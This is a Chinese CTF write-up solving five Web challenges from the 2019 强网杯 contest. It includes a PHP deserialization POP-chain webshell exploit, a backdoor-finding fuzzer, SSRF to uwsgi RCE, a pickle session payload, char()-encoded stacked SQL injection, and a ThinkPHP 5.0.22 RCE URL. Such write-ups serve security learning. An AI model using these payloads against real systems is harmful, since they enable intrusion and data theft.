0x00 前言
周末利用空余时间参加了强网杯,以下是Web解题记录。
0x01 upload
登入题目,首先纵览题目功能,发现有注册和登录:
随便注册登入后,来到文件上传页面:
经探测,发现可以上传png图片,同时上传目录可直接访问:
同时发现cookie有序列化内容:
解码后得到:
a:5:{s:2:"ID";i:23;s:8:"username";s:13:"fuck@fuck.com";s:5:"email";s:13:"fuck@fuck.com";s:8:"password";s:32:"abf753db781ecf27d7b5c9073880ec86";s:3:"img";N;}
上传png后,序列化变为:
a:5:{s:2:"ID";i:23;s:8:"username";s:13:"fuck@fuck.com";s:5:"email";s:13:"fuck@fuck.com";s:8:"password";s:32:"abf753db781ecf27d7b5c9073880ec86";s:3:"img";s:79:"../upload/9862a5f0c459c3f78ba4bab12279ea3d/fb5c81ed3a220004b71069645f112867.png";}
尝试直接改序列化进行目录穿越
a:5:{s:2:"ID";i:23;s:8:"username";s:13:"fuck@fuck.com";s:5:"email";s:13:"fuck@fuck.com";s:8:"password";s:32:"abf753db781ecf27d7b5c9073880ec86";s:3:"img";s:28:"../../../../../../etc/passwd";}
页面直接跳转至登录页面,猜测不能直接修改序列化内容。
根据以往经验,有序列化一般都有源码泄露,否则序列化很难恶意构造,于是探测目录,得到文件泄露:
http://49.4.66.242:32147/www.tar.gz
审计网站源码,将目光定位到如下3个文件上:
web/controller/Index.php
web/controller/Profile.php
web/controller/Register.php
在web/controller/Profile.php
看到关键函数操作
public function upload_img(){
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}
if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
if($this->ext) {
if(getimagesize($this->filename_tmp)){
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
$this->img="../upload/$this->upload_menu/$this->filename";
$this->update_img();}else{
$this->error('Forbidden type!', url('../index'));}
}
else{
$this->error('Unknow file type!', url('../index'));
}
}
其中操作
if(getimagesize($this->filename_tmp)){
@copy($this->filename_tmp, $this->filename);
@unlink($this->filename_tmp);
跟进$this->filename_tmp
和$this->filename
,发现没有过滤等限制,唯一阻碍:
if(!empty($_FILES)){
$this->filename_tmp=$_FILES['upload_file']['tmp_name'];
$this->filename=md5($_FILES['upload_file']['name']).".png";
$this->ext_check();
}
但我们可以通过直接GET请求,不进入该if判断。
if($this->checker){
if(!$this->checker->login_check()){
$curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
$this->redirect($curr_url,302);
exit();
}
}
同时该校验也可如法炮制,可直接通过设置类中属性进行bypass,不进入if判断。
到此为止可得到类的部分构造:
public $checker=0;
public $filename_tmp='../public/upload/9862a5f0c459c3f78ba4bab12279ea3d/5d0f060446d095e20383edb9e61bd156.png';
public $filename='../public/upload/9862a5f0c459c3f78ba4bab12279ea3d/sky.php';
(注:该处路径是../public/upload/
,从代码@chdir("../public/upload");
可发现,一开始我被坑了= =)
当该值进入upload_img函数后,即可利用copy成功复制出php文件。但是新的问题来了,如何通过反序列化直接调用upload_img函数。
这里可以看到两个魔法方法:
public function __get($name)
{
return $this->except[$name];
}
public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
我们知道当对象调用不可访问属性时,就会自动触发__get魔法方法,而在对象调用不可访问函数时,就会自动触发__call魔法方法。
那么寻找触发方式可以发现文件web/controller/Register.php
,关键部分如下:
class Register extends Controller
{
public $checker;
public $registed;
public function __construct()
{
$this->checker=new Index();
}
public function __destruct()
{
if(!$this->registed){
$this->checker->index();
}
}
}
我们可以看到checker调用了类Index里的方法index(),如果我们此时将checker的__construct覆盖为类Profile,那么势必在调用index()方法时,会触发__call函数:
public function __call($name, $arguments)
{
if($this->{$name}){
$this->{$this->{$name}}($arguments);
}
}
而进入该函数后,我们会触发$this->index
,成功尝试调用类Profile中不存在的对象,于是可触发__get魔法方法,从而变成return $this->except['index'];
,那么我们只要在构造序列化时,将except赋值为数组,如下:
public $except=array('index'=>'upload_img');
即可在类Register进行__destruct()时,成功触发upload_img函数,进行文件复制和改名。
综合上述pop链,我们可以构造如下exp:
<?php
namespace app\web\controller;
class Profile
{
public $checker=0;
public $filename_tmp="../public/upload/9862a5f0c459c3f78ba4bab12279ea3d/5d0f060446d095e20383edb9e61bd156.png";
public $filename="../public/upload/9862a5f0c459c3f78ba4bab12279ea3d/sky.php";
public $upload_menu;
public $ext=1;
public $img;
public $except=array('index'=>'upload_img');
}
class Register
{
public $checker;
public $registed=0;
}
$a=new Register();
$a->checker=new Profile();
$a->checker->checker = 0;
// echo serialize($a);
echo base64_encode(serialize($a));
成功改名后可直接getshell,进行命令执行:
进行getflag:
view-source:http://49.4.66.242:32147/upload/9862a5f0c459c3f78ba4bab12279ea3d/sky.php?sky=system(%27ls%27);
view-source:http://49.4.66.242:32147/upload/9862a5f0c459c3f78ba4bab12279ea3d/sky.php?sky=system(%27ls%20/%27);
view-source:http://49.4.66.242:32147/upload/9862a5f0c459c3f78ba4bab12279ea3d/sky.php?sky=system(%27cat%20/flag%27);
0x02 高明的黑客
题目直接提供了源码下载:
http://117.78.48.182:31784/www.tar.gz
下载后发现是3000多个混淆过的shell,其中包括多种障眼法:
例如看起来可进行RCE的参数,实际上被置空,或者有根本不可能进入的if判断。这让我们寻找可用的后门非常困难。
此时有两种想法,一种为动态调试,另一种为fuzz。考虑到便捷性,我使用了后者,思路如下:
匹配出所有$_GET或者$_POST参数,然后统一赋值为:
echo 'sky cool';
如果回显中包含sky cool,那么证明该文件为可用shell,于是撰写如下脚本:
import requests
from multiprocessing import Pool
base_url = "http://localhost:8888/src/"
base_dir = "/Desktop/site/src/"
file_list = ['zzt4yxY_RMa.php',........ 'm_tgKOIy5uj.php', 'aEFo52YSPrp.php', 'Hk3aCSWcQZK.php', 'RXoiLRYSOKE.php']
def extracts(f):
gets = []
with open(base_dir + f, 'r') as f:
lines = f.readlines()
lines = [i.strip() for i in lines]
for line in lines:
if line.find("$_GET['") > 0:
start_pos = line.find("$_GET['") + len("$_GET['")
end_pos = line.find("'", start_pos)
gets.append(line[start_pos:end_pos])
return gets
def exp(start,end):
for i in range(start,end):
filename = file_list[i]
gets = extracts(filename)
print "try: %s"%filename
for get in gets:
now_url = "%s%s?%s=%s"%(base_url,filename,get,'echo "sky cool";')
r = requests.get(now_url)
if 'sky cool' in r.content:
print now_url
break
print "%s~%s not found!"%(start,end)
def main():
pool = Pool(processes=15) # set the processes max number 3
for i in range(0,len(file_list),len(file_list)/15):
pool.apply_async(exp,(i,i+len(file_list)/15,))
pool.close()
pool.join()
if __name__ == "__main__":
main()
运行后找到文件:
进行getflag:
view-source:http://117.78.48.182:31784/xk0SzyKwfzw.php?Efa5BVG=ls%20/
view-source:http://117.78.48.182:31784/xk0SzyKwfzw.php?Efa5BVG=cat%20/flag
0x03 babywebbb
直接访问题目:
得到信息,发现有证书信任问题。尝试进行信息搜集,找到ip对应的域名:
发现可疑子域名,进行/etc/hosts绑定:
49.4.71.212 qqwwwwbbbbb.52dandan.xyz
访问页面
https://qqwwwwbbbbb.52dandan.xyz:8088/
发现现在正常访问,但是页面404。进行信息搜集,扫端口:
22/tcp open ssh
873/tcp open rsync
3389/tcp closed ms-wbt-server
8080/tcp closed http-proxy
8088/tcp open radan-http
12345/tcp closed netbus
31337/tcp closed Elite
发现837端口开放,尝试未授权访问:
rsync 49.4.71.212::
rsync 49.4.71.212::"src"
下载backup_old.zip
获得外网源码,审计一波,发现是用flask写的小站,首先看下路由:
app.register_blueprint(admin, url_prefix='/admin')
app.register_blueprint(graphql, url_prefix='/graphql_test123')
app.register_blueprint(login_blue, url_prefix='/user')
app.register_blueprint(user, url_prefix='/user')
同时看到登录页面:
https://qqwwwwbbbbb.52dandan.xyz:8088/user/login
审计相关代码:
if re.match("^[A-Za-z0-9]*$", username):
sql = "select * from user where username_which_you_do_not_know=\"{}\" and password_which_you_do_not_know_too=\"{}\"".format(username,password_new)
发现有过滤,且有功能需要登录
@user.route('/newimg', methods=['POST','GET'])
@login_required
def test():
url = unquote(request.form.get('newurl'))
if re.match("^[A-Za-z0-9-_%:./]*$",url):
filename = ramdom_str()
command = "curl {} > /tmp/{}".format(url, filename)
os.system(command)
with open("/tmp/{}".format(filename),"rb") as res:
res_data = res.read()
res_data = base64.b64encode(res_data)
return res_data
return ""
若要利用该SSRF进行任意文件读取,那么必须要登录,但是没有注册功能,那么猜想需要注入,于是寻找注入点,发现:
Test_schema = graphene.Schema(query=Test)
Login_schema = graphene.Schema(query=Login)
graphql.add_url_rule('/test', view_func=GraphQLView.as_view('test', schema=Test_schema, graphiql=True))
graphql.add_url_rule('/login', view_func=GraphQLView.as_view('login', schema=Login_schema, graphiql=True))
尝试访问:
https://qqwwwwbbbbb.52dandan.xyz:8088/graphql_test123/login
其对应代码如下:
class Login(graphene.ObjectType):
recv = graphene.String(data=graphene.String(default_value=""))
def resolve_recv(self,info, data):
all_info = json.loads(data)
operate = all_info['operate']
if operate =='login':
username = all_info['username']
password = all_info['password']
logggin(username,password)
password_new = hashlib.sha256(password.encode('utf-8')).hexdigest()
db = DbOp()
db.connect()
sql = "select * from user where username_which_you_do_not_know=\"{}\" and password_which_you_do_not_know_too=\"{}\"".format(username,password_new)
rr = db.getall(sql)
if len(rr) != 0:
session['username'] = username
session['loginstatus'] = True
response = "login success"
elif operate == 'logout':
session['username'] = None
session['loginstatus'] = False
response = "Logout success"
else:
response = "None of operate"
return response
发现是graphql且无过滤,利用如下操作,可控username与password:
recv = graphene.String(data=graphene.String(default_value=""))
审计发现需要满足:
if operate =='login':
于是构造如下json:
<?php
$array = array('operate'=>'login','username'=>'admin','password'=>'admin');
echo json_encode($array);
尝试访问:
发现可以成功进行登录,那么简单注入:
发现登录成功,成功拿到session,于是利用路由进行SSRF:
https://qqwwwwbbbbb.52dandan.xyz:8088/user/newimg
尝试读取/etc/passwd文件:
发现读取成功,尝试读nginx相关配置信息:
file:///etc/nginx/sites-available/default
得到信息
server {
listen 80 default_server;
listen 443 default_server;
server_name _ ;
ssl on;
ssl_certificate /root/www.crt;
ssl_certificate_key /root/www.key;
return 444;
}
server {
listen 80;
listen 443;
server_name qqwwwwbbbbb.52dandan.xyz;
charset utf-8;
client_max_body_size 5M;
location / {
include uwsgi_params;
uwsgi_pass 127.0.0.1:3031;
}
location /static {
alias /home/qwb/static;
}
}
发现uwsgi
127.0.0.1:3031;
结合参考文章
https://github.com/wofeiwo/webcgi-exploits/blob/master/python/uwsgi-rce-zh.md
不难想到这里可以利用SSRF打uwsgi进行getshell:
然后下一步理所当然是扫内网,这里我传了个nmap上去一通扫:
Nmap scan report for 172.16.17.1
Host is up (0.00037s latency).
Not shown: 310 closed ports
PORT STATE SERVICE
22/tcp open ssh
873/tcp open rsync
8088/tcp open omniorb
Nmap scan report for 2019qwb_qwb_flask_socks5_1.2019qwb_qwb_network (172.16.17.4)
Host is up (0.00035s latency).
Not shown: 312 closed ports
PORT STATE SERVICE
1080/tcp open socks
Nmap scan report for 96b479690d75 (172.16.17.22)
Host is up (0.00033s latency).
Not shown: 311 closed ports
PORT STATE SERVICE
80/tcp open http
443/tcp open https
Nmap scan report for 2019qwb_qwb_rsync_1.2019qwb_qwb_network (172.16.17.99)
Host is up (0.00034s latency).
Not shown: 312 closed ports
PORT STATE SERVICE
873/tcp open rsync
Nmap scan report for 2019qwb_qwb_ssrf_mysql_1.2019qwb_qwb_network (172.16.17.231)
Host is up (0.00032s latency).
Not shown: 312 closed ports
PORT STATE SERVICE
3306/tcp open mysql
看到数据库后,简单找了下数据库信息:
尝试连接数据库:
顺手看了下内容:
没有flag,惨惨= =,后来正想扫其他网段的时候,主办方放出了hint:
由于内网扫的太卡了,直接给出内网地址192.168.223.222
同时发现之前的扫描结果:
Nmap scan report for 2019qwb_qwb_flask_socks5_1.2019qwb_qwb_network (172.16.17.4)
Host is up (0.00035s latency).
Not shown: 312 closed ports
PORT STATE SERVICE
1080/tcp open socks
想到可以用socks5去打内网,于是简单配置了下代理,顺手扫了个端口:
Nmap scan report for 192.168.223.222
Host is up (0.064s latency).
Not shown: 998 closed ports
PORT STATE SERVICE
80/tcp open http
443/tcp open https
那就是打web了,浏览器挂上代理访问,来到内网web页面
随手尝试弱密码登录:
admin admin
又来到一个全新的世界= =
发现有几个功能:
add user
save log
infomation
然后陷入了无尽的沉思= =,后来主办方给出了个hint,也就是公开源码:
hint:https://paste.ubuntu.com/p/q4xJBfm3Bb/
简单审计后,发现序列化点:
反序列化操作:
def open_session(self, app, request):
sid = request.cookies.get(app.session_cookie_name)
if not sid:
sid = self._generate_sid()
return self.session_class(sid=sid)
signer = self._get_signer(app)
try:
sid_as_bytes = signer.unsign(sid)
sid = sid_as_bytes.decode()
except BadSignature:
sid = self._generate_sid()
return self.session_class(sid=sid)
sess_path = os.path.join(sys.path[0],self.dir)
exists = os.path.exists(sess_path)
if not exists:
os.mkdir(sess_path)
try:
with open(os.path.join(sess_path,sid),'rb') as f:
try:
val = pickle.load(f)
except:
val = {}
return self.session_class(val,sid=sid)
except:
return self.session_class(sid=sid)
序列化操作:
def save_session(self, app, session, response):
domain = self.get_cookie_domain(app)
path = self.get_cookie_path(app)
httponly = self.get_cookie_httponly(app)
secure = self.get_cookie_secure(app)
expires = self.get_expiration_time(app, session)
val = dict(session)
sess_path = os.path.join(sys.path[0],self.dir)
with open(os.path.join(sess_path , session.sid), 'wb') as f:
pickle.dump(val, f, True)
session_id = self._get_signer(app).sign(want_bytes(session.sid))
response.set_cookie(app.session_cookie_name, session_id,
expires=expires, httponly=httponly,
domain=domain, path=path, secure=secure)
注:怎么每年都有个flask session反序列化= =
本来想利用序列化反弹shell,但主办方又给个hint:
不能弹shell的。。。别尝试了
注:主办方真给力,每次都雪中送炭)
于是考虑怎么把数据带出,但考虑到内网的交互问题有点麻烦,于是想直接把flag放进session里。
那么容易想到将flag替换username的值,然后在带出session username的位置即可看到flag。
根据代码
def validate_username(self, field):
name = field.data
if (not re.match('^[0-9a-zA-Z]*$',name)) or (len(name)<6) :
err_log.append(waf(field.data))
if len(err_log) == 101:
err_log.pop(0)
raise ValidationError('validation username!')
发现用户名只要出现特殊符号,就会经过waf后被加入log:
观察waf:
def waf(data):
data = re.sub('(decode|sh|command|class|dict|base|execfile|timeit|platform|getattribute|reload|values)','hacker',data)
return data
过滤并不是非常多,触发过滤会被替换为hacker,还是挺好Bypass的。
那么思路非常明确了,我们希望达成如下效果:
bytes('(dp0\nS\'username\'\np1\nS\''+open('/tmp/flag','r').read().strip()+'\'\np2\ns.','utf-8')
该exp被反序列化后,效果如下:
此时我们的username的值变为flag
同时寻找读取内容位置:
发现在information处,会有session['username']
,那么即可完成攻击链,我们构造出关键exp:
"open('/home/qwb/session/ba0eaa4d-7f63-41b5-8d05-cce9b1299945','wb').write(bytes('(dp0\\nS\\'username\\'\\np1\\nS\\''+open('/flag','r').read().strip()+'\\'\\np2\\ns.','utf-8'))"
将其序列化后,放在add user位置,使其进入log。
之后利用save_log将日志覆盖到session文件上,再通过触发session,触发反序列化。
其中注意,save log对路径做了过滤,可以用反斜杠进行bypass:
def validate_filepath(self, field):
filepath = field.data
if re.match('.*(\./|\.\./|/).*',filepath) or re.match('(.*\.py|.*\.pyc|.*\.js|.*\.html|.*\.css|.*\.db)',filepath):
raise ValidationError('validation filepath!')
攻击后访问information页面,发现flag:
0x04 随便注
一道相对简单的注入题
http://49.4.26.104:32019/?inject=1
随手尝试引号,得到报错
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near ''1''' at line 1
再尝试闭合
http://49.4.26.104:32019/?inject=1'%23
发现正常,于是尝试
http://49.4.26.104:32019/?inject=1'||1%23
发现列出当前表所有内容,猜想flag在其他表中,尝试注入,发现过滤
return preg_match("/select|update|delete|drop|insert|where|\./i", $inject);
发现select
和.
被过滤,根据经验,一般这种情况很难跨表查询,那么考虑有没有其他的技巧,不难想到堆叠注入,为bypass过滤,尝试用char进行绕过,可写出exp如下:
payload = "0';set @s=concat(%s);PREPARE a FROM @s;EXECUTE a;"
exp = 'select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=database()'
# exp = "select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME='1919810931114514'"
# exp = "select flag from `1919810931114514`"
res = ''
for i in exp:
res += "char(%s),"%(ord(i))
my_payload = payload%(res[:-1])
print my_payload
在本地略作尝试:
select * from article where id=1;set @s=concat(char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(103),char(114),char(111),char(117),char(112),char(95),char(99),char(111),char(110),char(99),char(97),char(116),char(40),char(84),char(65),char(66),char(76),char(69),char(95),char(78),char(65),char(77),char(69),char(41),char(32),char(102),char(114),char(111),char(109),char(32),char(105),char(110),char(102),char(111),char(114),char(109),char(97),char(116),char(105),char(111),char(110),char(95),char(115),char(99),char(104),char(101),char(109),char(97),char(46),char(84),char(65),char(66),char(76),char(69),char(83),char(32),char(119),char(104),char(101),char(114),char(101),char(32),char(84),char(65),char(66),char(76),char(69),char(95),char(83),char(67),char(72),char(69),char(77),char(65),char(61),char(100),char(97),char(116),char(97),char(98),char(97),char(115),char(101),char(40),char(41));PREPARE a FROM @s;EXECUTE a;
发现一切顺利,于是题目中进行测试:
发现表名
0';set @s=concat(char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(103),char(114),char(111),char(117),char(112),char(95),char(99),char(111),char(110),char(99),char(97),char(116),char(40),char(84),char(65),char(66),char(76),char(69),char(95),char(78),char(65),char(77),char(69),char(41),char(32),char(102),char(114),char(111),char(109),char(32),char(105),char(110),char(102),char(111),char(114),char(109),char(97),char(116),char(105),char(111),char(110),char(95),char(115),char(99),char(104),char(101),char(109),char(97),char(46),char(84),char(65),char(66),char(76),char(69),char(83),char(32),char(119),char(104),char(101),char(114),char(101),char(32),char(84),char(65),char(66),char(76),char(69),char(95),char(83),char(67),char(72),char(69),char(77),char(65),char(61),char(100),char(97),char(116),char(97),char(98),char(97),char(115),char(101),char(40),char(41));PREPARE a FROM @s;EXECUTE a;
发现字段名
0';set @s=concat(char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(103),char(114),char(111),char(117),char(112),char(95),char(99),char(111),char(110),char(99),char(97),char(116),char(40),char(67),char(79),char(76),char(85),char(77),char(78),char(95),char(78),char(65),char(77),char(69),char(41),char(32),char(102),char(114),char(111),char(109),char(32),char(105),char(110),char(102),char(111),char(114),char(109),char(97),char(116),char(105),char(111),char(110),char(95),char(115),char(99),char(104),char(101),char(109),char(97),char(46),char(67),char(79),char(76),char(85),char(77),char(78),char(83),char(32),char(119),char(104),char(101),char(114),char(101),char(32),char(84),char(65),char(66),char(76),char(69),char(95),char(78),char(65),char(77),char(69),char(61),char(39),char(49),char(57),char(49),char(57),char(56),char(49),char(48),char(57),char(51),char(49),char(49),char(49),char(52),char(53),char(49),char(52),char(39));PREPARE a FROM @s;EXECUTE a;
getflag
0';set @s=concat(char(115),char(101),char(108),char(101),char(99),char(116),char(32),char(102),char(108),char(97),char(103),char(32),char(102),char(114),char(111),char(109),char(32),char(96),char(49),char(57),char(49),char(57),char(56),char(49),char(48),char(57),char(51),char(49),char(49),char(49),char(52),char(53),char(49),char(52),char(96));PREPARE a FROM @s;EXECUTE a;
0x05 强网先锋-上单
据说是道送分题= =
访问题目,得到目录
发现信息
http://49.4.66.242:31392/1/public/
得知是用thinkphp 5.0.22开发,随手搜索,发现RCE CVE:
http://49.4.66.242:31392/1/public/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag
得到flag
flag{f869fa995fb99667e75e04b5c3ca77cc}